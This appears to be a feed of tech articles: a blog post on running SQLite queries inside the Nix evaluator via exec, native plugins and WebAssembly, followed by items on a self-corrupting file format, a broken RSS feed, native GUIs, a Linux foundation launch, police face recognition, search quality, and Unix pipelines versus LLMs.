Nix by default cannot do this. Unfortunately there is no builtins.sqlite , although I think there should be…

Turns out though there are knobs we can touch or sources we can patch to get what we want anyways, albeit each one has a caveat. 😈

§ One: builtins.exec

I was surprised I did not know about this builtin , and it has been around since release 1.11.9 in April 2017. It is the ultimate escape hatch for a variety of use-cases when you simply can’t get them done with what’s available.

builtins.exec takes a list of strings, runs the program, and parses its stdout as a Nix expression .

It is gated behind a setting that makes it clear it’s unsafe.

$ nix eval --option allow-unsafe-native-code-during-evaluation true \
    --expr 'builtins.exec [ "/bin/sh" "-c" "echo 42" ]'
42

For integration, SQLite is perfectly capable of printing the Nix syntax. We never need a serialisation format in between as we make SQLite emit the attrset directly:

let
  versionsOf = attr: builtins.exec [
    "${sqlite}/bin/sqlite3" "-noheader" "-separator" "" "./index.db"
    ''
      SELECT '{' || group_concat(
               '"' || version || '" = ' ||
               COALESCE(CAST(rev AS TEXT), 'null') || ';', ' ')
           || '}'
      FROM versions WHERE attr = '${attr}';
    ''
  ];
in
  versionsOf "hello"
$ nix eval --impure -f query.nix \
           --option allow-unsafe-native-code-during-evaluation true
{
  "2.10" = 728; "2.12" = 822; "2.12.1" = 1369;
  "2.12.2" = 1486; "2.12.3" = null; "2.7" = 0; "2.8" = 13;
}

The caveat is that every query is now a fork , an exec , a process image of SQLite, and a re-parse of the output through the Nix parser. If you do not plan to execute many queries that overhead is likely acceptable given the simplicity of the integration.

§ Two: builtins.importNative

From researching builtins.exec , I stumbled upon builtins.importNative . It takes a path to a shared object and a symbol name, dlopen s it, and calls that symbol. It landed in 1.8 , December 2014. 3 3 The C++ field was originally called enableImportNative and was renamed to enableNativeCode for exec .

The shared object must implement the following signature:

extern "C" typedef void (*ValueInitializer)(EvalState & state, Value & v);

We can define a new native function that returns the versions for our input:

extern "C" void nix_sqlite_versions(EvalState & state, Value & v)
{
    v.mkPrimOp(new PrimOp{
        .name = "nix_sqlite_versions",
        .args = {"dbPath", "attr"},
        .arity = 2,
        .impl = versions,
    });
}

The implementation is ordinary C++ using the Nix API. Below is a snippet of the implementation, making sure to cache our sqlite3 handles to avoid the same startup penalty as builtins.exec :

/* The whole point: the database handle outlives a single query, so the
   b-tree pages we touch stay warm for the rest of the evaluation. */
std::map<std::string, sqlite3 *> handles;

void versions(EvalState & state, const PosIdx pos,
              Value ** args, Value & v)
{
    std::string path(state.forceStringNoCtx(*args[0], pos, "..."));
    std::string attr(state.forceStringNoCtx(*args[1], pos, "..."));

    // cached across calls
    auto * db = openOnce(state, pos, path);

    sqlite3_stmt * stmt = nullptr;
    sqlite3_prepare_v2(db,
                       "SELECT version, rev "
                       "FROM versions "
                       "WHERE attr = ?1",
                       -1, &stmt, nullptr);
    sqlite3_bind_text(stmt, 1, attr.data(),
                      attr.size(), SQLITE_TRANSIENT);

    /* ... collect rows ... */

    /* Build the attrset directly. No text ever exists. */
    auto bindings = state.buildBindings(rows.size());
    for (auto & [version, rev] : rows) {
        auto & slot = bindings.alloc(state.symbols.create(version));
        if (rev) slot.mkInt(*rev); else slot.mkNull();
    }
    v.mkAttrs(bindings);
}

Using it looks like this:

$ nix eval --impure \
    --option allow-unsafe-native-code-during-evaluation true \
    --expr '(builtins.importNative
                  ./libnixsqlite.so "nix_sqlite_versions"
            ) "./index.db" "hello"'
{
  "2.10" = 728; "2.12" = 822; "2.12.1" = 1369;
  "2.12.2" = 1486; "2.12.3" = null; "2.7" = 0; "2.8" = 13;
}

§ Three: a giant Nix file

This section was added after publishing based on an idea from rickynils .

Nix is often described as resembling JSON and there is a very easy translation from JSON to Nix. What if instead of reading JSON we read the same contents but as a .nix file?

Theoretically it should have no parser boundary, no fromJSON , and no serialisation format at all. The index becomes an expression the evaluator already knows how to read.

The idea would be to leverage Nix’s laziness. Nix attribute set values are thunks, so in principle you should be able to import a very large expression, touch one attribute, and never pay for instantiating the rest.

Transforming the index is a dozen lines of Python, and produces something very similar to the JSON:

{
  revisionCount = 1534;
  attrs = {
    "2048-in-terminal" = { "2015-01-15" = 157; "2017-11-29" = 166; };
    "2bwm" = { "0.2" = 166; };
    "389-ds-base" = { "1.3.3.9" = 14; "1.3.5.15" = 100; "1.3.5.19" = 166; };
    # ... 31,901 more
  };
}

6.0 MiB of Nix, against 5.3 MiB of JSON, holding identical data.

$ nix eval --impure --expr '(import ./index.nix).attrs.hello'
{
  "2.10" = 728; "2.12" = 822; "2.12.1" = 1369;
  "2.12.2" = 1486; "2.12.3" = null; "2.7" = 0; "2.8" = 13;
}

§ Four: builtins.wasm

Determinate Systems shipped another option in March of 2026: builtins.wasm , which calls a function inside a WebAssembly module. 4 4 Eelco gave a talk about this at SCALE 23x . The motivation was similar to wanting to extend Nix surface area but avoid expanding builtins . Wasm is sandboxed and deterministic, so unlike the two builtins above, the goal is to provide a safe escape-hatch .

WebAssembly is a binary instruction format for a stack-based virtual machine. The claim is that it is well suited for Nix because it has deterministic execution , which is a lot more restrained than a backdoor builtins.exec .

§ Writing a module

A module needs to export memory , an initialiser called nix_wasm_init_v1 , and the entry point.

#![no_std]
#![no_main]
type ValueId = u32;

#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
    core::arch::wasm32::unreachable()
}

// Host functions supplied by the Nix evaluator.
#[link(wasm_import_module = "env")]
unsafe extern "C" {
    fn get_int(v: ValueId) -> i64;
    fn make_int(n: i64) -> ValueId;
}

#[unsafe(no_mangle)]
pub extern "C" fn nix_wasm_init_v1() {}

fn fib(n: i64) -> i64 {
    if n <= 1 { 1 } else { fib(n - 1) + fib(n - 2) }
}

#[unsafe(no_mangle)]
pub extern "C" fn fib_entry(arg: ValueId) -> ValueId {
    unsafe { make_int(fib(get_int(arg))) }
}

Nixpkgs already includes the target for cross-compilation, so making one is pretty straightforward:

pkgs.runCommand "nix-wasm-rust-fib"
{
  nativeBuildInputs = [ pkgs.rustc pkgs.lld ];
  src = ./modules.rs;
} ''
  mkdir -p $out
  rustc --target wasm32-unknown-unknown --crate-type cdylib -O \
    -o $out/modules.wasm $src
''
$ nix eval --extra-experimental-features wasm-builtin \
      --expr 'builtins.wasm { path = ./modules.wasm;
                              function = "fib_entry"; } 30'
1346269

You call back into the evaluator through the Nix API functions, so a wasm module builds real Nix values, similar to builtins.importNative minus the footgun.

§ Can I haz SQLite?

SQLite ships an official wasm build , so the pieces seem to be sitting right there and the gears in my mind began to turn.

photo of a cat asking if he can have sqlite as a meme

Initial attempts to try and load a SQLite database with the traditional Nix builtins were a bit of a failure as Nix strings cannot contain NULL bytes.

$ nix eval --impure --expr 'builtins.stringLength (builtins.readFile ./index.db)'
error: the contents of the file '/tmp/mvsql/index.db' cannot be represented as a Nix string

Thankfully, with the help of some additional due-diligence by LLMs, we discovered that one of the Nix API functions is not in the blog post:

/**
 * Read the contents of a file into Wasm memory. This is like calling
 * `builtins.readFile`, except that it can handle binary files that
 * cannot be represented as Nix strings.
 */
uint32_t read_file(ValueId pathId, uint32_t ptr, uint32_t len)

read_file is specifically designed for this problem. This function allows a WASM module to pull arbitrary raw-bytes off disk into its memory.

Unfortunately, it’s a little too broad in that it reads the complete file which is kind of overkill and what we are trying to avoid from our initial JSON solution.

In the pursuit of exploration, let’s patch the implementation and augment the API to allow random access and partial read of a file. Turns out the patch to add is relatively small and straightforward.

/**
 * Read a range of a file into Wasm memory, starting at `offset`
 * and copying at most `len` bytes.
 * Returns the number of bytes actually copied.
 */
uint32_t read_file_range(ValueId pathId, uint64_t offset,
                         uint32_t ptr, uint32_t len)
{
    auto & pathValue = getValue(pathId);
    auto path = state.realisePath(noPos, pathValue);

    auto buf = memory().subspan(ptr, len);

    /* If this is a real file on disk, do a positional read*/
    if (auto physical = path.getPhysicalPath()) {
        AutoCloseFD fd{open(physical->string().c_str(),
                            O_RDONLY | O_CLOEXEC)};
        if (!fd)
            throw SysError("opening file '%s'", physical->string());
        auto n = pread(fd.get(), buf.data(), len, offset);
        if (n < 0)
            throw SysError("reading file '%s'", physical->string());
        return n;
    }

    /* Otherwise fall back to materialising the whole file. */
    auto contents = path.readFile();
    if (offset >= contents.size())
        return 0;
    auto n = std::min<size_t>(len, contents.size() - offset);
    memcpy(buf.data(), contents.data() + offset, n);
    return n;
}

Now we have everything we need to hook up SQLite and a custom virtual filesystem (VFS) layer to read from the provided /nix/store path entry.

We build a WASM target of SQLite and we set SQLITE_OS_OTHER=1 . That flag removes SQLite’s entire VFS layer and requires us to supply one.

pkgs.pkgsCross.wasi32.stdenv.mkDerivation {
  pname = "sqlite-nix-wasm";
  buildPhase = ''
    $CC -O2 -o sqlite_nix.wasm \
      -I${amalgamation} ${amalgamation}/sqlite3.c sqlite_nix.c \
      -DSQLITE_OS_OTHER=1 \
      -DSQLITE_THREADSAFE=0 \
      -DSQLITE_OMIT_LOAD_EXTENSION \
      -DSQLITE_OMIT_WAL \
      -Wl,--export-memory
  '';
}

We provide the build a simple implementation of the xRead API which is a call-back into the Nix evaluator via that newly exposed nix_read_file_range function. Everything else is stubs.

static const sqlite3_io_methods nixIoMethods = {
  .iVersion               = 1,
  .xClose                 = nixClose,
  .xRead                  = nixRead,
  .xFileSize              = nixFileSize,
  .xDeviceCharacteristics = nixDeviceCharacteristics,
  /* ... the rest are stubs ... */
};

static int nixRead(sqlite3_file *f, void *buf,
                   int amt, sqlite3_int64 off)
{
  NixFile *p = (NixFile *) f;
  /* The one line that matters: SQLite's pager asks
     for a page, and we ask the Nix evaluator for
     exactly those bytes. */
  unsigned got = nix_read_file_range(p->pathId, (unsigned long long) off,
                                     buf, (unsigned) amt);

  if (got < (unsigned) amt) {
    memset((char *) buf + got, 0, (unsigned) amt - got);
    return SQLITE_IOERR_SHORT_READ;
  }
  return SQLITE_OK;
}

Note Unfortunately builtins.wasm gives every call a fresh instance . This is deliberate from the implementation, meaning we pay some startup code each time although not quite as drastic as a fork & exec

The sqlite_nix WASM module takes an attrset of { db, sql } and returns one attrset per row. 5 5 The full sqlite_nix.c , the VFS, the build derivation and the Nix patch are all in this gist .

We can provide it any arbitrary SQL and now query our dataset!

# query.nix
builtins.wasm { path = ./sqlite_nix.wasm; } {
  db  = ./index.db;
  sql = "SELECT version, rev FROM versions
         WHERE attr = 'hello' ORDER BY version";
}
$ nix eval --extra-experimental-features wasm-builtin -f query.nix
[ { rev = 728; version = "2.10"; } { rev = 822; version = "2.12"; }
  { rev = 1369; version = "2.12.1"; } { rev = 1486; version = "2.12.2"; }
  { rev = null; version = "2.12.3"; } { rev = 0; version = "2.7"; }
  { rev = 13; version = "2.8"; } ]

The benefit of SQL is that now we are not limited to the shape of the data in JSON.

# which packages have shipped the most versions?
sql = "SELECT attr, COUNT(*) AS versions FROM versions
       GROUP BY attr ORDER BY versions DESC LIMIT 3";
# => [ { attr = "linux"; versions = 548; }
#      { attr = "linux_latest"; versions = 540; }
#      { attr = "freefall"; versions = 534; } ]

That is a real full SQLite with all the bells and whistles: query planner, aggregates and subqueries, b-tree descent through an index, executing inside the Nix evaluator. All through WebAssembly. 🤯

Every one of those answers is byte-identical to what the sqlite3 CLI gives for the same query.

§ Benchmark

How do these compare? Here is every approach answering the same question: “which revisions shipped this package?” either against the same 22 MB SQLite build of the index or the whole-file JSON/Nix equivalent.

1980-01-01T00:00:00+00:00 image/svg+xml Matplotlib v3.10.5, https://matplotlib.org/

As we initially complained, fromJSON is a flat line in the wrong place. It is 0.29s whether you ask one question or two hundred, because the 5.3 MB parse happens once and dominates everything after it.

The giant .nix file is the same flat line, drawn higher. It is roughly twice the time and 1.7× the memory of the JSON it replaced. Surprisngly, laziness never gets a chance to help: importing the file and touching nothing at all already costs 0.53s. The baseline cost is the parse, and the parse is eager as we well. Turns out parsing Nix expressions is even more expensive than JSON. Nix has run the file through its Bison grammar, build an AST for all 305,492 entries, and add every attribute name into the symbol table. fromJSON skips the AST entirely and goes straight from bytes to values, which is why the format with a “serialisation boundary” beats the one without.

builtins.exec starts the cheapest and climbs , roughly 3.8 ms per query of fork + exec + Nix-parsing the output. It crosses fromJSON somewhere around eighty queries.

builtins.importNative is flat and nearly free , 0.05s across the whole range since we reuse SQLite instantiations across multiple invocations. The database is opened once for the entire evaluation and the pages stay warm.

Unfortunately, SQLite in wasm is dominated by a fixed cost , roughly 2.5 s before the first query, then about 7 ms each query thereafter. That 2.5 s is Cranelift compiling 1.1 MB of SQLite. Right now that is a limitation of the WASM implementation however Eelco has mentioned that the generated code could be cached on disk in the future across invocations.

For a lock file pinning thirty packages, fromJSON still wins outright at the current index size.

§ What I actually want

None of these is right for shipping the multiverse index, and I am not going to make nixpkgs-multiverse depend on allow-unsafe-native-code-during-evaluation . Asking people to run their evaluator with native code loading enabled so my flake can be faster is not a worthwhile request at the moment .

For now, the index stays JSON and I’m holding back on some of the more loftier ideas I have that require a lot more data .

Although philosophically I only use CppNix , I was a little intrigued and impressed with what the ecosystem could unlock with WASM. There are definitely some warts however such as waiting for it to JIT and the developer-experience of maybe having checked-in compiled blobs but there is definitely potential to unlock a variety of problems.

Decayfmt – a file format that corrupts itself a little every time you open it

Hacker News
github.com
2026-08-21 12:09:50
Comments...
Original Article

CI crates.io

Featured in This Week in Rust #660 .

A file format that corrupts itself a little every time you open it. Every open permanently damages the file on disk, by an amount baked into the filename, before it is ever shown to you. There is no recovery from the file alone. The file is the only copy that matters, and every read destroys a little more of it.

The same image, encoded at four instability values and opened in step, decaying at four speeds at once

Two file types:

  • .idcy<x> for images (example: photo.idcy3 )
  • .tdcy<x> for text (example: note.tdcy7 )

x is a positive integer in the filename, the instability parameter. Higher x means more corruption per open.

Watch it decay

The grid above is one image encoded at x=1 , x=3 , x=8 , and x=15 , each opened the same number of times. Same picture, four rates of decay. To follow a single instability value across individual opens instead, each open corrupting the file further on disk before it is ever shown, with no way back:

The clean original:

Original

Instability After 1 open After 3 opens
x=3 (gentle) x3 after one open x3 after three opens
x=10 (severe) x10 after one open x10 after three opens

At x=3 the image degrades gracefully over many opens. At x=10 it is nearly gone after one open and pure noise after three. x is the dial between a slow fade and near-instant destruction.

Text decays the same way. A sentence encoded at x=1 (a slow burn), printed after a few opens:

original : This sentence is dying, and every time you read it you kill it a little more.
 open 1  : This sgntence is d+ingd !nd every time you re&p it P~u kiKl it a little more}
 open 3  : This sgfxFn0e is d+ingd 3D6 every tibe you re&" it P~u kiKl it a 1ittl> m1re}
 open 6  : TIbm sgf}Fn0e ts d+iqgd yD6 ev*ry tibe you re&" )t Pnu kiKB )t aC1it"l> m1^e}
 open 9  : T/Sm sgf}Fk0- ts d|iqgd HD6 e@*rV tiFe you re&" )t Pnu kiKB )tpaC1it"lYMm1^>}
 open 12 : h/Sm hgf}Nk0-'ts?K|iqgd HD6 e@`~V}t&Fe y%u re&" )2 Pnu kiKB )6UaC1it1lYMm1]b!

Corruption only ever swaps in printable characters, so text garbles into readable-looking nonsense rather than binary noise.

What this is, and is not

decayfmt is a social contract enforced by math, not cryptography. It is not encryption, not DRM, and not a secure deletion tool. The corruption is honest and unrecoverable from the file alone, but anyone with a backup or a hex editor can defeat it. If you want the original, keep a backup. If you do not want anyone to recover it, do not make one.

Install

With cargo

If you have a Rust toolchain, the quickest install is the published crate:

From a release

Download the binary for your platform from the releases page and put it on your PATH. There is no runtime dependency to install.

On macOS the binary is unsigned, so the first run may be blocked by Gatekeeper. Right-click it and choose Open, or clear the quarantine flag with xattr -d com.apple.quarantine decayfmt .

From source

Requires a Rust toolchain.

The binary is produced at target/release/decayfmt .

Quickstart

See it decay in your terminal, with no image or sample file needed:

echo "this sentence is about to start dying" > note.txt
decayfmt encode --input note.txt --output note.tdcy8
decayfmt open note.tdcy8

The instability x comes from the output name ( note.tdcy8 decays at x=8 ). Run that last line a few more times and watch the sentence rot further on each open. The corruption is written to disk before it prints, so there is no way back. A high x like 8 garbles it fast; a low x like 1 is a slow burn over many opens.

On Windows PowerShell the > redirect writes UTF-16, which decayfmt refuses; create the file with Set-Content note.txt "this sentence is about to start dying" instead. cmd.exe and PowerShell 7 are fine with the line above.

Usage

Encode

Turn a source image or text file into a decayfmt file. Encoding never corrupts; the new file is clean.

decayfmt encode --input photo.png --output photo.idcy3
decayfmt encode --input note.txt  --output note.tdcy7

Both the file type and the instability x come from the output name: idcy for images and tdcy for text, followed by x as a positive integer ( photo.idcy3 is an image at x=3 ). An output name that could never be opened is refused rather than written. Images are decoded to raw RGBA; text must be valid UTF-8.

Open

Open a decayfmt file. This corrupts it in place on disk, then displays the result. Images open in your system's default image viewer. Text prints to the terminal, and when there is no terminal (for example when launched from a file manager) it also opens in your default text editor.

decayfmt open photo.idcy3
decayfmt open note.tdcy7

x is read from the filename, so renaming the file changes how hard the next open hits.

How the corruption works

On each open, a per-byte corruption probability is derived from x :

So x = 1 corrupts roughly 9.5% of eligible bytes per open, x = 5 roughly 39%, and x = 10 roughly 63%. The randomness comes from a cryptographically secure generator seeded from operating system entropy, never from a fixed seed, so two opens of the same state look different and the corruption sequence cannot be replayed.

  • Images: the red, green, and blue channels are each corrupted independently with probability p . The alpha channel is never touched, so corruption shows as color noise rather than transparency holes.
  • Text: each byte is replaced, with probability p , by a random printable ASCII byte. This operates on bytes, not characters, so at high x it can break UTF-8; the viewer renders what it can and substitutes the replacement character for the rest. Corruption substitutes bytes in place and never inserts or deletes, so the file length and the positions of untouched bytes are preserved: content decays but structure does not. The original byte length is always recoverable, and at low x word lengths and layout largely survive. Spaces are not protected; they are replaced at the same rate as any other byte and erode along with everything else as x rises.

The contract

  • Corruption is written to disk at open time, before display. A crash or kill after the write does not undo it. Opening always costs a corruption.
  • A read-only file is refused with an error and never displayed. A free read would break the contract.
  • The header is never changed after encoding. Only the payload decays.
  • There is no state in the file: no read counter, no timestamp, no record of who opened it or when.
  • There is no recovery mechanism of any kind.

Limitations

  • This is a social contract, not cryptography. A backup defeats it entirely.
  • A determined person with a hex editor can tamper with the file.
  • It is not a secure deletion tool and makes no cryptographic guarantee.
  • Displaying a file writes the corrupted result to a temporary file for the system viewer. The most recent one persists until the next open sweeps it, or indefinitely if there is no next open, so a snapshot of the last-shown state stays recoverable until then.
  • Two opens running at the same time can race: both read the same starting state, and the last write wins, so concurrent opens may cost fewer corruptions than sequential ones.
  • v1 supports images and text only. No audio, video, or other binary formats.

License

decayfmt is released under the MIT License. See LICENSE .

★ When New DF Posts Drop in a Forest and No One Is There to Read Them

Daring Fireball
daringfireball.net
2026-08-21 12:09:11
https://daringfireball.net/...
Original Article

It occurred to me last night that I’d gotten less feedback regarding recent posts than usual. There were a few items I’d posted in recent days that I felt sure to hear from readers about, both yay and nay. But: nothing. Crickets chirping. I almost always hear from squeaky wheels in the EU when I write about Apple and the DMA, for example, but I heard nothing about my take yesterday that Apple has effectively pantsed the European Commission regarding App Store commissions.

I noticed this morning that the bot that auto-posts new articles to the DF account Mastodon hadn’t posted since Tuesday night. But it wasn’t the Mastodon posting bot that was broken. It was a different automated task that updates the RSS and JSON feeds. That’s what broke sometime between Tuesday night and Wednesday morning. The Mastodon posting bot reads the RSS feed, and if there’s nothing new in the RSS feed, there’s nothing for the bot to post. Still though, I thought it was weird that no one who follows DF from the feeds had emailed, texted, or @replied to me to complain that new articles on the website had stopped appearing in the feeds. No one.

Then, I remembered that the DF website home page is generated from ... the RSS feed. 1

So, yeah, pretty much no one but me realized that I’d written seven new posts after the last update Tuesday night. Oops. Needless to say, it no longer seems surprising at all that I haven’t heard anything from readers in a few days. My apologies for delivering most of this week’s output all at once. We can pretend today that DF is a weekly newsletter.

Stop Making TUIs

Simon Willison
simonwillison.net
2026-08-21 12:07:32
Stop Making TUIs Thomas Ptacek advocates for building real native user interfaces for even the smallest of personal tools, because coding agents have reduced the cost of getting a usable-enough GUI up and running to almost nothing. I wrote about my vibe-coded bandwidth and GPU monitoring macOS task ...
Original Article

21st August 2026 - Link Blog

Stop Making TUIs . Thomas Ptacek advocates for building real native user interfaces for even the smallest of personal tools, because coding agents have reduced the cost of getting a usable-enough GUI up and running to almost nothing.

I wrote about my vibe-coded bandwidth and GPU monitoring macOS task bar apps back in March , and I'm still using both of those on a daily basis.

I'm not habitually knocking out real UIs for my other projects yet, but I'm running out of excuses!

Thomas:

If you haven’t tried your hand at turning one of your 500 throwaway CLIs into a native app, you’re doing yourself a disservice. Go build a native UI. It’ll probably change the way you think.

Omacom Foundation Launches with $8M

Hacker News
omarchy.org
2026-08-21 12:03:47
Comments...
Original Article

It’s time to dream big. Omarchy Quattro has given people a chance to experience what the malleable computer of the future looks like, and they like it (a lot!). It now feels like a moral obligation to make this future more broadly available and fundamentally change how people relate to their computers for the first time in what seems like forever.

To do just that, I’m incorporating the Omacom Foundation to ensure that this mission is fully funded, durable, and ready to accelerate.

This nonprofit foundation will hold the trademarks, fund the infrastructure, promote the work, and support the open-source projects and developers Omarchy depends on.

These eight Founding Patrons are each contributing $1 million to this mission:

This is a ridiculous sum of money, so I intend to make sure it lasts a long time, and that we make the most of it. But just as important as the incredible cushion is the vote of confidence delivered by these pledges.

We’re going to make the prophecy of The Year of Linux on the Desktop come true. All the pieces are now in place. Time to go all in!

EFF and Civil Society Groups Call on Nottinghamshire Police to Halt Live Face Recognition

Electronic Frontier Foundation
www.eff.org
2026-08-21 12:03:17
This week, EFF, along with Big Brother Watch, Defend Digital Me, Liberty, Open Rights Group, Race Equality First, Statewatch, and Stopwatch, wrote to Nottinghamshire Police Force in the UK raising concern about the proposed roll-out of live facial recognition technology (LFR), and called for its imm...
Original Article

This week, EFF, along with Big Brother Watch, Defend Digital Me, Liberty, Open Rights Group, Race Equality First, Statewatch, and Stopwatch, wrote to Nottinghamshire Police Force in the UK raising concern about the proposed roll-out of live facial recognition technology (LFR), and called for its immediate halt.

In particular, the letter highlights six concerns:

LFR Is Not "Just Another Tool"

Nottinghamshire Police has stated that “facial recognition is just another tool to fight crime.” But LFR used in public spaces is an incredibly intrusive biometric mass surveillance technology that scans the faces of everyone who walks past the camera and takes biometric face prints. This is not just another tool, but a major escalation of surveillance that treats everyone as a suspect by default.

People Having "Nothing to Worry About" Does Not Hold to Scrutiny

According to Nottinghamshire Police, “if you aren’t entering the city or county to commit crime then you have nothing to worry about.” However, many people have legitimate concerns about the normalisation of invasive technologies. So a public that cannot move around their towns and cities without being subjected to a biometric identity check may be less willing to seek medical care or legal advice, speak with journalists, act in a union, vote, protest, or express their gender, sexual or religious identity.

Disproportionate Targeting With LFR

We are particularly concerned to learn that Nottinghamshire Police could deploy LFR to tackle low level crimes, such as youth behavior deemed anti-social, as part of Operation View. Reporting suggests that the force already possesses “a watchlist of young people believed to be causing the most problems,” including children as young as 11 years old. It would be highly disproportionate to deploy live facial recognition to tackle this behaviour. Many of these children are reportedly known to the police, and it is highly likely that there are more proportionate means for locating them.

LFR Could Increase Social Problems

We are also concerned that Nottinghamshire Police has not adequately examined the distinct risks of using LFR to target children, including negative impacts on their behaviour and outcomes, risk of recidivism, and relationship with the police. Use of LFR could exacerbate behavioural problems in children and create an adversarial, rather than trusting, relationship with the police from a young age.

Lack of Public Support

Recent polling commissioned by Liberty indicated that 48% of people oppose scanning the faces of those walking on high streets when there is no suspected imminent threat. Furthermore, Opinium found that the majority of people oppose the use of facial recognition in schools. Likewise, a report by the London Policing Ethics Panel found that Londoners aged 16-24 were most likely to find the Metropolitan Police Service’s use of LFR unacceptable and most likely to stay away from events where LFR was in use.

On these grounds, Nottinghamshire Police must immediately halt their plans to use live facial recognition surveillance any further.

Read our full letter here .

I Just Want to Search

Hacker News
www.0xsid.com
2026-08-21 12:00:54
Comments...
Original Article

Learning to search was a key skill growing up as a teen in the 2000s. How to use accurate keywords, quotes, the entire lot of search operators. Google-fu was a hard earned skill (yes, I read a book) and helped me figure out a surprising amount of life.

A vintage instructional guide showing a 1900s-era AltaVista search engine screenshot, instructions on basic internet searching, and a list of defunct and classic search engine URLs. How to Do Just About Everything on a Computer, 2000

Search these days though is a bit of a dumpster fire. It has shifted from just retrieval towards relevance and recommendation and it sucks. I’m not just talking about web search, which has oscillated between “help me find the link for this product” to “somewhat useful if you can ignore the SEO spammers” [1]. No, I’m lamenting how poor search has gotten inside emails, online marketplaces, and messaging apps. I’m lamenting that the user has progressively lost control over what constitutes a search.

My beloved AV receiver died a few weeks back. No biggie (even though it’s EOL), let’s see if we can find the same model being sold for parts so we can try and replace some board components.

A Facebook Marketplace search for the home theater receiver query '

I’m betting you’ll get inundated with listings of the same brand, not the model you’re looking for, even if you put in the exact model number in quotes. It’s not limited to obscure AV equipment. Searching for any item that’s not in oversupply means the quotes get basically ignored while the search branches into anything that might make sense.

Searching on YouTube means scrolling over two entire rows of Shorts,"People also watched", "Explore more", with your actual results somewhere in between [1]. Time related filters have gotten lost too: not being able to choose a date range (unless you manually enter date operators into the search field), not able to sort by date at all, or just videos from the last hour for breaking news.

Gmail is a whole other story. An exact invoice number or name pasted into the search bar in quotes sometimes returns nothing. Is it a genuine tech issue, or did Gmail quietly switch me back to “Most relevant” again?

And yes, I know. I can’t fathom the scale these services run at. Full text matching across billions of inboxes is computationally expensive. You’re indexing billions of emails and attachments, keeping those indexes fresh, and trying to return an answer in milliseconds. At some point, I can see someone looking at all of that and thinking: what if we just show people the results we think they want?

The en-shittification angle is maybe too cynical, too simplistic. Maybe this really is the natural progression of trying to make search better. At some point, relevance became more useful than literal matching for most people and the defaults followed the metrics. The problem is that there’s increasingly no mode for people who know exactly what they're looking for and want just that.

So what exactly is the point of writing this? I want the random PM looking for ideas to know that I’d be very happy to pay for better search on platforms that help me get what I need instead of optimizing a metric. Give me a “literal match only” toggle. Kill the fuzzy suggestions, ignore the semantic guessing, and just run a dumb, reliable grep across my data, boss.


[1] I got so annoyed I just spun up a version of my decluttering app just for YouTube .


If you've reached this far, thank you for reading! :)

I thought retiring in my mid 30s after a few exits would be fun but I've just been bored and a bit undersocialized without morning Slacks and emails to wake up to. If you’re building something interesting and could use an extra set of hands to ship, or just want to say hi, feel free to reach out . My inbox is open.

LLMs are proof that Unix won

Hacker News
bastian.rieck.me
2026-08-21 11:59:16
Comments...
Original Article

When I first learned about Unix and “Unix-like” operating systems, I was intrigued. I had only known the colorful world of Windows 3.1 so far. Like Japanese carpentry , everything seemed to be carved out of one block with no apparent cracks (except that Japanese carpentry is rock solid, and the same cannot be said about Windows 3.1 with a straight face). Imagine my surprise when I sat in front of a command-line prompt for the first time. The blinking cursor dared me to enter something and there was, at first, no obvious way to achieve any of the things I already knew a computer could do. A formidable puzzle—I was hooked! Thanks to a surprisingly well-stocked library the next village over, I learned that there are different flavors or evolutionary cousins of Unix, and that some of their behavior is codified by standards like POSIX . I also learned about GNU and the heroic efforts of the first waves of hackers who made all of this software available to a world that seemed more interested in locking down everything and preventing any tinkering. O brave new world!

But I persisted. I stared down the ever-blinking prompt and fed it. Many moons later, after a detour with FreeBSD , I remain an avid Linux user since it suits my working style: I like to live dangerously, often deferring kernel updates right before important deadlines—what a thrill—and generally being quite optimistic about my ability to get myself out of any jam. What I appreciate is that Linux lets me exercise my self-efficacy . In essence, virtually all the pain I may experience by using it is, to a large extent, self-inflicted . That feels so much better than having to pray that the next iOS update does not destroy my devices or some other nonsense.

This attitude is often met with blank stares or the usual “Anyway, …” by people who just don’t get it, i.e., almost everyone else who is not a huge nerd, Neal Stephenson fan, or blessed with an abundance of free time. Next to the nice tingling sense of danger, the thing that entices me most about Linux is the ability to mold it to my purposes like digital clay. Many of the command-line tools I use have been around for quite some time now 1 but they still work admirably and allow me to do things like this: 2

rg -t py "^\s*url ="                               \
  | grep -Eo "(http|https)://[a-zA-Z0-9./?=_%:-]*" \
  | awk -F/ '{print $3}'                           \
  | sort                                           \
  | uniq -c                                        \
  | sort -rn

In natural language, the purpose of this command is to extract and count domain names like github.com from URLs that are assigned to variables named url across all Python files in the current directory and its subdirectories. If this reads like gibberish to you, my younger hothead self, full of (neo)vim and vigor, would have hit you with the old “Linux is very user-friendly; it’s just also super picky about its friends.” Yes, younger me was adept at making enemies like a craftsman. 3

With the wisdom and mellowing of the years, I would now be diplomatic, but it still strikes me as odd that this way of working with a computer is so alien to many. Explaining my ancient workflow to someone who is used to only modern GUIs is a bit like explaining higher dimensions to someone inhabiting Flatland : At best, they will politely listen before discarding what you said as mildly odd and going back to their old ways. But again, I persisted and stuck to my conviction that a computer should offer you a general-purpose interface that enables you to build things you like. GUIs can only partially sate that need since they need to guess what path you are wont to take. By contrast, the Unix graybeards of yore realized that it is futile to guess or railroad user behavior—instead, they opted to equip everyone with a couple of smallish tools that adhere to a certain philosophy :

  1. Write programs that do one thing and do it well.
  2. Write programs to work together.
  3. Write programs to handle text streams, because that is a universal interface.

Decades later, this still works. Programs have become larger, more complex, but also more convenient for highly-specific cases like video editing—but at the core of many machines lies this wonderful interface that offers nigh-limitless fun. 4 Instead of widening the gap between the CLI dwarves and the GUI elves, however, something unexpected happened, viz., the development of large language models . Presenting at first nothing but an input box to the user, they constituted a deliberate break in habits for many. Here, then, was no GUI waiting for you to specify what type of picture you wanted to create. The prompt was daring you to dream big. I imagine for some, it must have been a bit shocking even—a program that does not tell you what to do with it was unheard of. 5

And progress marched on, leaving the prompts of the early days 6 for ever-refined queries in natural language. Now, instead of having to know about awk , grep , and friends, one can just ask their favorite LLM:

I want to extract and count domain names like github.com from URLs that are assigned to variables named url across all Python files in the current directory and its subdirectories. How do I do this with a set of shell commands?

The output is quite competent:

grep -rhoP "url\w*\s*=\s*['\"]\Khttps?://[^'\"]+" --include="*.py" . \
    | sed -E 's#https?://##; s#/.*##'                                \
    | sort                                                           \
    | uniq -c                                                        \
    | sort -rn

